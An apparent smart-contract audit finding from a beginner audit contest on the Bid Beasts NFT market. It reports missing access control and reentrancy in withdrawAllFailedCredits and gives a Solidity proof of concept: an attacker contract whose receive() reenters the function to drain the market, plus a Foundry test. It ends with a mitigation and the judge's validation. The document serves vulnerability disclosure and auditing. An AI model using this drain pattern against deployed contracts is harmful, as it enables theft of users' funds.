Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control in `withdrawAllFailedCredits` Allows Theft of User Funds and Drain the Entire Contract Balance

Description

The withdrawAllFailedCredits function lacks proper access control. Currently, any caller can specify an arbitrary _receiver address and withdraw its failed credits, even if the caller is not the rightful owner of those funds.

This design flaw allows an attacker to:

  • Steal funds belonging to other users in failedTransferCredits.

  • Reenter the function during withdrawal and drain the entire contract balance.

The function should enforce that only the intended recipient can withdraw their credits.

Risk and Impact

  • Unauthorized Fund Theft: Attackers can withdraw credits belonging to other users by simply passing their address as _receiver.

  • Reentrancy Exploit: Since withdrawals transfer ETH, attackers can reenter and repeatedly drain funds.

  • Complete Loss of Funds: The contract’s entire failedTransferCredits pool can be wiped out.

  • High User Impact: Honest users will be unable to claim their funds if drained by attackers.

Severity: High – this is a direct loss-of-funds vulnerability.

PoC

Scenario:

  1. Victim has a non-zero balance in failedTransferCredits.

  2. Attacker deploys Attacker.sol with the vulnerable market contract.

  3. Attacker calls withdrawAllFailedCredits(address(attackSupporter)).

  4. Due to missing access control, the attacker successfully withdraws the victim’s funds.

  5. Via the receive() fallback, the attacker can reenter and continue draining the contract.

contract Attacker {
BidBeastsNFTMarket market;
AttackSupporter attackSupporter;
uint256 public constant MIN_PRICE = 1 ether;
constructor(BidBeastsNFTMarket _market, AttackSupporter _attackSupporter) {
market = _market;
attackSupporter = _attackSupporter;
}
receive() external payable {
if (address(market).balance > MIN_PRICE + 1) {
market.withdrawAllFailedCredits(address(attackSupporter));
}
}
}
function test_withdrawFailedFunds() external {
// Setup: victim (attackSupporter) has failed credits
vm.startPrank(address(attacker));
market.withdrawAllFailedCredits(address(attackSupporter));
vm.stopPrank();
console2.log("Balance of attacker after: ", address(attacker).balance);
assertGe(address(attacker).balance, amount_stolen); // Passes due to vulnerability
}

Recommended Mitigation

Add an ownership validation check to ensure only the rightful owner can withdraw their credits:

require(msg.sender == _receiver, "Not your credits");
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.